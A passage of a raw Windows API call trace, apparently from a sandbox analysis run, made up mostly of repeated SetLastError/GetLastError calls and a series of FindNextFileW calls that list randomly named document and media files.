0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.068] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.068] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.068] GetLastError () returned 0x0 [0040.068] SetLastError (dwErrCode=0x0) [0040.069] GetLastError () returned 0x0 [0040.069] SetLastError (dwErrCode=0x0) [0040.069] GetLastError () returned 0x0 [0040.069] SetLastError (dwErrCode=0x0) [0040.069] GetLastError () returned 0x0 [0040.069] SetLastError (dwErrCode=0x0) [0040.069] GetLastError () returned 0x0 [0040.069] SetLastError (dwErrCode=0x0) [0040.069] GetLastError () returned 0x0 [0040.069] SetLastError (dwErrCode=0x0) [0040.069] GetLastError () returned 0x0 [0040.069] SetLastError (dwErrCode=0x0) [0040.069] GetLastError () returned 0x0 [0040.069] SetLastError (dwErrCode=0x0) [0040.069] GetLastError () returned 0x0 [0040.069] SetLastError (dwErrCode=0x0) [0040.069] GetLastError () returned 0x0 [0040.069] SetLastError (dwErrCode=0x0) [0040.069] GetLastError () returned 0x0 [0040.069] SetLastError (dwErrCode=0x0) [0040.069] GetLastError () returned 0x0 [0040.069] SetLastError (dwErrCode=0x0) [0040.069] GetLastError () returned 0x0 [0040.069] SetLastError (dwErrCode=0x0) [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] GetLastError () returned 0x0 [0040.070] SetLastError (dwErrCode=0x0) [0040.070] GetLastError () returned 0x0 [0040.071] SetLastError (dwErrCode=0x0) [0040.071] GetLastError () returned 0x0 [0040.071] SetLastError (dwErrCode=0x0) [0040.071] GetLastError () returned 0x0 [0040.071] SetLastError (dwErrCode=0x0) [0040.071] GetLastError () returned 0x0 [0040.071] SetLastError (dwErrCode=0x0) [0040.071] GetLastError () returned 0x0 [0040.071] SetLastError (dwErrCode=0x0) [0040.071] GetLastError () returned 0x0 [0040.071] SetLastError (dwErrCode=0x0) [0040.071] GetLastError () returned 0x0 [0040.071] SetLastError (dwErrCode=0x0) [0040.071] GetLastError () returned 0x0 [0040.071] SetLastError (dwErrCode=0x0) [0040.071] GetLastError () returned 0x0 [0040.071] SetLastError (dwErrCode=0x0) [0040.071] GetLastError () returned 0x0 [0040.071] SetLastError (dwErrCode=0x0) [0040.071] GetLastError () returned 0x0 [0040.071] SetLastError (dwErrCode=0x0) [0040.071] GetLastError () returned 0x0 [0040.071] SetLastError (dwErrCode=0x0) [0040.071] GetLastError () returned 0x0 [0040.072] SetLastError (dwErrCode=0x0) [0040.072] GetLastError () returned 0x0 [0040.072] SetLastError (dwErrCode=0x0) [0040.072] GetLastError () returned 0x0 [0040.072] SetLastError (dwErrCode=0x0) [0040.072] GetLastError () returned 0x0 [0040.072] SetLastError (dwErrCode=0x0) [0040.072] GetLastError () returned 0x0 [0040.072] SetLastError (dwErrCode=0x0) [0040.072] GetLastError () returned 0x0 [0040.072] SetLastError (dwErrCode=0x0) [0040.072] GetLastError () returned 0x0 [0040.072] SetLastError (dwErrCode=0x0) [0040.072] GetLastError () returned 0x0 [0040.072] SetLastError (dwErrCode=0x0) [0040.072] GetLastError () returned 0x0 [0040.072] SetLastError (dwErrCode=0x0) [0040.072] GetLastError () returned 0x0 [0040.072] SetLastError (dwErrCode=0x0) [0040.072] GetLastError () returned 0x0 [0040.072] SetLastError (dwErrCode=0x0) [0040.072] GetLastError () returned 0x0 [0040.072] SetLastError (dwErrCode=0x0) [0040.073] GetLastError () returned 0x0 [0040.073] SetLastError (dwErrCode=0x0) [0040.073] GetLastError () returned 0x0 [0040.073] SetLastError (dwErrCode=0x0) [0040.073] GetLastError () returned 0x0 [0040.073] SetLastError (dwErrCode=0x0) [0040.073] GetLastError () returned 0x0 [0040.073] SetLastError (dwErrCode=0x0) [0040.073] GetLastError () returned 0x0 [0040.073] SetLastError (dwErrCode=0x0) [0040.073] GetLastError () returned 0x0 [0040.073] SetLastError (dwErrCode=0x0) [0040.073] GetLastError () returned 0x0 [0040.073] SetLastError (dwErrCode=0x0) [0040.073] GetLastError () returned 0x0 [0040.073] SetLastError (dwErrCode=0x0) [0040.073] GetLastError () returned 0x0 [0040.073] SetLastError (dwErrCode=0x0) [0040.073] GetLastError () returned 0x0 [0040.073] SetLastError (dwErrCode=0x0) [0040.073] GetLastError () returned 0x0 [0040.073] SetLastError (dwErrCode=0x0) [0040.073] GetLastError () returned 0x0 [0040.074] SetLastError (dwErrCode=0x0) [0040.074] GetLastError () returned 0x0 [0040.074] SetLastError (dwErrCode=0x0) [0040.074] GetLastError () returned 0x0 [0040.074] SetLastError (dwErrCode=0x0) [0040.074] GetLastError () returned 0x0 [0040.074] SetLastError (dwErrCode=0x0) [0040.074] GetLastError () returned 0x0 [0040.074] SetLastError (dwErrCode=0x0) [0040.074] GetLastError () returned 0x0 [0040.074] SetLastError (dwErrCode=0x0) [0040.074] GetLastError () returned 0x0 [0040.074] SetLastError (dwErrCode=0x0) [0040.074] GetLastError () returned 0x0 [0040.074] SetLastError (dwErrCode=0x0) [0040.074] GetLastError () returned 0x0 [0040.075] SetLastError (dwErrCode=0x0) [0040.075] GetLastError () returned 0x0 [0040.075] SetLastError (dwErrCode=0x0) [0040.075] SetEvent (hEvent=0x15c) returned 1 [0040.075] ResetEvent (hEvent=0x160) returned 1 [0040.075] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf197, dwReserved0=0x0, dwReserved1=0x0, cFileName="LgQIok5RNh.mp4", cAlternateFileName="")) returned 1 [0040.075] GetLastError () returned 0x0 [0040.075] SetLastError (dwErrCode=0x0) [0040.075] GetLastError () returned 0x0 [0040.075] SetLastError (dwErrCode=0x0) [0040.075] GetLastError () returned 0x0 [0040.075] SetLastError (dwErrCode=0x0) [0040.075] GetLastError () returned 0x0 [0040.075] SetLastError (dwErrCode=0x0) [0040.075] GetLastError () returned 0x0 [0040.075] SetLastError (dwErrCode=0x0) [0040.075] GetLastError () returned 0x0 [0040.075] SetLastError (dwErrCode=0x0) [0040.075] GetLastError () returned 0x0 [0040.075] SetLastError (dwErrCode=0x0) [0040.075] GetLastError () returned 0x0 [0040.076] SetLastError (dwErrCode=0x0) [0040.076] GetLastError () returned 0x0 [0040.076] SetLastError (dwErrCode=0x0) [0040.076] GetLastError () returned 0x0 [0040.076] SetLastError (dwErrCode=0x0) [0040.076] GetLastError () returned 0x0 [0040.076] SetLastError (dwErrCode=0x0) [0040.076] GetLastError () returned 0x0 [0040.076] SetLastError (dwErrCode=0x0) [0040.076] GetLastError () returned 0x0 [0040.076] SetLastError (dwErrCode=0x0) [0040.076] GetLastError () returned 0x0 [0040.076] SetLastError (dwErrCode=0x0) [0040.076] GetLastError () returned 0x0 [0040.076] SetLastError (dwErrCode=0x0) [0040.076] GetLastError () returned 0x0 [0040.076] SetLastError (dwErrCode=0x0) [0040.076] GetLastError () returned 0x0 [0040.076] SetLastError (dwErrCode=0x0) [0040.076] GetLastError () returned 0x0 [0040.076] SetLastError (dwErrCode=0x0) [0040.076] GetLastError () returned 0x0 [0040.076] SetLastError (dwErrCode=0x0) [0040.076] GetLastError () returned 0x0 [0040.077] SetLastError (dwErrCode=0x0) [0040.077] GetLastError () returned 0x0 [0040.077] SetLastError (dwErrCode=0x0) [0040.077] GetLastError () returned 0x0 [0040.077] SetLastError (dwErrCode=0x0) [0040.077] GetLastError () returned 0x0 [0040.077] SetLastError (dwErrCode=0x0) [0040.077] GetLastError () returned 0x0 [0040.077] SetLastError (dwErrCode=0x0) [0040.077] GetLastError () returned 0x0 [0040.077] SetLastError (dwErrCode=0x0) [0040.077] GetLastError () returned 0x0 [0040.077] SetLastError (dwErrCode=0x0) [0040.077] GetLastError () returned 0x0 [0040.077] SetLastError (dwErrCode=0x0) [0040.077] GetLastError () returned 0x0 [0040.077] SetLastError (dwErrCode=0x0) [0040.077] GetLastError () returned 0x0 [0040.077] SetLastError (dwErrCode=0x0) [0040.077] GetLastError () returned 0x0 [0040.077] SetLastError (dwErrCode=0x0) [0040.077] GetLastError () returned 0x0 [0040.078] SetLastError (dwErrCode=0x0) [0040.078] GetLastError () returned 0x0 [0040.078] SetLastError (dwErrCode=0x0) [0040.078] GetLastError () returned 0x0 [0040.078] SetLastError (dwErrCode=0x0) [0040.078] GetLastError () returned 0x0 [0040.078] SetLastError (dwErrCode=0x0) [0040.078] GetLastError () returned 0x0 [0040.078] SetLastError (dwErrCode=0x0) [0040.078] GetLastError () returned 0x0 [0040.078] SetLastError (dwErrCode=0x0) [0040.078] GetLastError () returned 0x0 [0040.078] SetLastError (dwErrCode=0x0) [0040.078] GetLastError () returned 0x0 [0040.078] SetLastError (dwErrCode=0x0) [0040.078] GetLastError () returned 0x0 [0040.078] SetLastError (dwErrCode=0x0) [0040.078] GetLastError () returned 0x0 [0040.078] SetLastError (dwErrCode=0x0) [0040.078] GetLastError () returned 0x0 [0040.078] SetLastError (dwErrCode=0x0) [0040.078] GetLastError () returned 0x0 [0040.078] SetLastError (dwErrCode=0x0) [0040.078] GetLastError () returned 0x0 [0040.079] SetLastError (dwErrCode=0x0) [0040.079] GetLastError () returned 0x0 [0040.079] SetLastError (dwErrCode=0x0) [0040.079] GetLastError () returned 0x0 [0040.079] SetLastError (dwErrCode=0x0) [0040.079] GetLastError () returned 0x0 [0040.079] SetLastError (dwErrCode=0x0) [0040.079] GetLastError () returned 0x0 [0040.079] SetLastError (dwErrCode=0x0) [0040.079] GetLastError () returned 0x0 [0040.079] SetLastError (dwErrCode=0x0) [0040.079] GetLastError () returned 0x0 [0040.079] SetLastError (dwErrCode=0x0) [0040.079] GetLastError () returned 0x0 [0040.079] SetLastError (dwErrCode=0x0) [0040.079] GetLastError () returned 0x0 [0040.079] SetLastError (dwErrCode=0x0) [0040.079] GetLastError () returned 0x0 [0040.079] SetLastError (dwErrCode=0x0) [0040.079] GetLastError () returned 0x0 [0040.079] SetLastError (dwErrCode=0x0) [0040.079] GetLastError () returned 0x0 [0040.079] SetLastError (dwErrCode=0x0) [0040.080] GetLastError () returned 0x0 [0040.080] SetLastError (dwErrCode=0x0) [0040.080] GetLastError () returned 0x0 [0040.080] SetLastError (dwErrCode=0x0) [0040.080] GetLastError () returned 0x0 [0040.080] SetLastError (dwErrCode=0x0) [0040.080] GetLastError () returned 0x0 [0040.080] SetLastError (dwErrCode=0x0) [0040.080] GetLastError () returned 0x0 [0040.080] SetLastError (dwErrCode=0x0) [0040.080] GetLastError () returned 0x0 [0040.080] SetLastError (dwErrCode=0x0) [0040.080] GetLastError () returned 0x0 [0040.080] SetLastError (dwErrCode=0x0) [0040.080] GetLastError () returned 0x0 [0040.080] SetLastError (dwErrCode=0x0) [0040.080] GetLastError () returned 0x0 [0040.080] SetLastError (dwErrCode=0x0) [0040.080] GetLastError () returned 0x0 [0040.080] SetLastError (dwErrCode=0x0) [0040.080] GetLastError () returned 0x0 [0040.080] SetLastError (dwErrCode=0x0) [0040.080] GetLastError () returned 0x0 [0040.080] SetLastError (dwErrCode=0x0) [0040.081] GetLastError () returned 0x0 [0040.081] SetLastError (dwErrCode=0x0) [0040.081] GetLastError () returned 0x0 [0040.081] SetLastError (dwErrCode=0x0) [0040.081] GetLastError () returned 0x0 [0040.081] SetLastError (dwErrCode=0x0) [0040.081] GetLastError () returned 0x0 [0040.081] SetLastError (dwErrCode=0x0) [0040.081] GetLastError () returned 0x0 [0040.081] SetLastError (dwErrCode=0x0) [0040.081] GetLastError () returned 0x0 [0040.081] SetLastError (dwErrCode=0x0) [0040.081] GetLastError () returned 0x0 [0040.081] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12cd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="lDq8f54d4hhCIri7rU.rtf", cAlternateFileName="")) returned 1 [0040.081] GetLastError () returned 0x0 [0040.081] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15208, dwReserved0=0x0, dwReserved1=0x0, cFileName="gkNzsfx.odt", cAlternateFileName="")) returned 1 [0040.081] GetLastError () returned 0x0 [0040.082] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb863, dwReserved0=0x0, dwReserved1=0x0, cFileName="uX9C3BTlu7W5CJLwms.ppt", cAlternateFileName="")) returned 1 [0040.082] GetLastError () returned 0x0 [0040.082] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbe68, dwReserved0=0x0, dwReserved1=0x0, cFileName="vKgP03.mp3", cAlternateFileName="")) returned 1 [0040.082] GetLastError () returned 0x0 [0040.082] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="a7jth.jpg", cAlternateFileName="")) returned 1 [0040.082] GetLastError () returned 0x0 [0040.082] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x158c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="zYMAYhHoRyK6PFynZFc.mkv", cAlternateFileName="")) returned 1 [0040.082] GetLastError () returned 0x0 [0040.082] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1546a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EGXGDc6zOuTQrpM.gif", cAlternateFileName="")) returned 1 [0040.082] GetLastError () returned 0x0 [0040.082] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf284, dwReserved0=0x0, dwReserved1=0x0, cFileName="2E6UGCq.doc", cAlternateFileName="")) returned 1 [0040.082] GetLastError () returned 0x0 [0040.082] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13179, dwReserved0=0x0, dwReserved1=0x0, cFileName="nCFz76aqfOi4GGvs9d9.m4a", cAlternateFileName="")) returned 1 [0040.082] GetLastError () returned 0x0 [0040.083] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5140, dwReserved0=0x0, dwReserved1=0x0, cFileName="C9OE6MiLKOuTz5.avi", cAlternateFileName="")) returned 1 [0040.083] GetLastError () returned 0x0 [0040.083] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xaf7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="b13UpS9k3v.swf", cAlternateFileName="")) returned 1 [0040.083] GetLastError () returned 0x0 [0040.083] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x577b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MM3Rngzs9r6yCyV.csv", cAlternateFileName="")) returned 1 [0040.083] GetLastError () returned 0x0 [0040.083] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15886, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcLK0zRep8.ots", cAlternateFileName="")) returned 1 [0040.083] GetLastError () returned 0x0 [0040.083] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xab34, dwReserved0=0x0, dwReserved1=0x0, cFileName="p7Ha2r1u6wluhJ.pptx", cAlternateFileName="")) returned 1 [0040.083] GetLastError () returned 0x0 [0040.083] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x8b6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="iJonu6wFMMd.bmp", cAlternateFileName="")) returned 1 [0040.083] GetLastError () returned 0x0 [0040.083] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="KeH2iEJnN7k1r.odt", cAlternateFileName="")) returned 1 [0040.083] GetLastError () returned 0x0 [0040.083] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x140ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="9lpH4LUvBOFfSshu6h.csv", cAlternateFileName="")) returned 1 [0040.084] GetLastError () returned 0x0 [0040.084] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13a59, dwReserved0=0x0, dwReserved1=0x0, cFileName="2XXFjQNQ26X8Wc.swf", cAlternateFileName="")) returned 1 [0040.084] GetLastError () returned 0x0 [0040.084] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KLswtt0JPiPQkCC6R3Lm.m4a", cAlternateFileName="")) returned 1 [0040.084] GetLastError () returned 0x0 [0040.084] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9304, dwReserved0=0x0, dwReserved1=0x0, cFileName="bVYQpQ1.mp4", cAlternateFileName="")) returned 1 [0040.084] GetLastError () returned 0x0 [0040.084] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd722, dwReserved0=0x0, dwReserved1=0x0, cFileName="pQaKrG.pptx", cAlternateFileName="")) returned 1 [0040.084] GetLastError () returned 0x0 [0040.084] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf4a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AzVWpbVP.doc", cAlternateFileName="")) returned 1 [0040.084] GetLastError () returned 0x0 [0040.084] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmJj9nJ.pptx", cAlternateFileName="")) returned 1 [0040.084] GetLastError () returned 0x0 [0040.084] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xadfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="fUgAWuSkZ3EbpCZ5Rvs.gif", cAlternateFileName="")) returned 1 [0040.085] GetLastError () returned 0x0 [0040.085] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, 